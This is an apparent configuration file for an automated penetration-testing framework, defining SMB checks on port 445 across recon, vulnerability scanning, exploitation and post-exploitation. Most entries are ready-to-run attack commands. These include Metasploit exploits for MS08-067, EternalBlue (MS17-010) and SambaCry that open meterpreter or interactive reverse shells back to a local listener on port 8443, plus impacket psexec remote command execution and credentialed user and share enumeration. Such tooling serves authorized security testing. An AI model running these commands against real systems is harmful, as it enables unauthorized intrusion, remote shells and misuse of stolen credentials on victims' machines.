#########################################################################################
# SMB Settings
#########################################################################################

[config]
default_port = 445
protocol	 = tcp
categories 	 = recon, vulnscan, exploit, postexploit

[specific_options]
vuln-ms08-067 = boolean
vuln-ms17-010 = boolean
vuln-sambacry = boolean


#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Recon using Nmap SMB scripts and check for vulns (MS17-010, MS10-061, MS10-054, MS08-067...)
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='smb* AND NOT smb-brute* AND NOT smb-flood' --stats-every 10s [IP]

[check_anonymous-enum-smb]
name        = anonymous-enum-smb
category    = recon
description = Attempt to perform enum (users, shares...) without account
tool        = nullinux
command_1   = python3 nullinux.py -all -r 500-600 [IP]


#########################################################################################
# Vulnscan
#########################################################################################
# [check_nmap-vulnscan]
# name        = nmap-vulnscan
# category    = vulnscan
# description = Check for vulns in SMB (MS17-010, MS10-061, MS10-054, MS08-067...) using Nmap
# tool        = nmap
# command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='smb-vuln*' --stats-every 10s [IP]

[check_detect-ms17-010]
name        = detect-ms17-010
category    = vulnscan
description = Detect MS17-010 SMB RCE
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS [IP]; set RPORT [PORT]; set VERBOSE true; run; exit"
context_1  = { 'os': 'windows' }

[check_detect-samba-rce-cve2015-0240]
name        = samba-rce-cve2015-0240
category    = vulnscan
description = Detect RCE vuln (CVE-2015-0240) in Samba 3.5.x and 3.6.X
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/smb/smb_uninit_cred; set RHOSTS [IP]; set RPORT [PORT]; set VERBOSE true; run; exit"
context_1   = { 'os': 'linux' }


#########################################################################################
# Exploit
#########################################################################################
[check_exploit-rce-ms08-067]
name        = exploit-rce-ms08-067
category    = exploit
description = Exploit for RCE vuln MS08-067 on SMB
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set VERBOSE true; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_1   = { 'os': 'windows', 'vuln-ms08-067': True }

[check_exploit-rce-ms17-010-eternalblue]
name        = exploit-rce-ms17-010-eternalblue
category    = exploit
description = Exploit for RCE vuln MS17-010 EternalBlue on SMB
tool        = metasploit
command_1   = sudo msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue_win8; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set VERBOSE true; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_1   = { 'os': 'windows', 'vuln-ms17-010': True }
command_2   = sudo msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST [IP]; set RPORT [PORT]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [LOCALIP]; set LPORT 8443; set VERBOSE true; set AutoRunScript multi_console_command -c getuid,ps,exit; exploit; sleep 2; exit"
context_2   = { 'os': 'windows', 'vuln-ms17-010': True }


[check_exploit-sambacry-rce-cve2017-7494]
name        = exploit-sambacry-rce-cve2017-7494
category    = exploit
description = Exploit for SambaCry RCE on Samba <= 4.5.9 (CVE-2017-7494) (no creds if guest account)
tool        = metasploit
# Creds not required for exploitation if server has a guest account
command_1   = sudo msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; set PAYLOAD cmd/unix/interact; set AutoRunScript multi_console_command -c whoami,uname,exit; exploit; exit"
context_1   = { 'os': 'linux', 'vuln-sambacry': True }


#########################################################################################
# Postexploit
#########################################################################################
[check_auth-enum-smb]
name        = auth-enum-smb
category    = postexploit
description = Authenticated enumeration (users, groups, shares) on SMB
tool        = nullinux
command_1   = python3 nullinux.py -all -U '[USERNAME]' -P '[PASSWORD]' -r 500-600 [IP]
context_1   = { 'auth_status': POST_AUTH }

[check_auth-shares-perm]
name        = auth-shares-perm
category    = postexploit
description = Get R/W permissions on SMB shares
tool        = smbmap
command_1   = python2.7 smbmap.py -u '[USERNAME]' -p '[PASSWORD]' -H [IP] -P 445
context_1   = { 'auth_status': POST_AUTH }

[check_smb-exec]
name        = smb-exec
category    = postexploit
description = Attempt to get a remote shell (psexec-like, requires Administrator creds)
tool        = impacket
command_1   = sudo python3 examples/psexec.py -port [PORT] [USERNAME]:'[PASSWORD]'@[IP] 'cmd.exe /c "echo RCE-Exploitable && whoami && net user"'
context_1   = { 'os': 'windows', 'auth_status': POST_AUTH }

# smbexec returns [-] 'ConnectionResetError' object is not subscriptable 
# command_2   = sudo python3 examples/smbexec.py -port [PORT] [USERNAME]:'[PASSWORD]'@[IP] 'cmd.exe /c "echo RCE-Exploitable && whoami && net user"'
# context_2   = { 'os': 'windows', 'auth_status': POST_AUTH }

# wmiexec often hangs in my tests
# command_3   = sudo python3 examples/wmiexec.py [USERNAME]:'[PASSWORD]'@[IP]
# context_3   = { 'os': 'windows', 'auth_status': POST_AUTH }

